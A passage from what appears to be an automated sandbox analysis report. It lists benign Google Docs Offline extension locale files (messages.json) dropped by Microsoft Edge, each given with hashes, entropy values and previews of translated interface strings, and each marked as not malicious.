Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1214524639\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
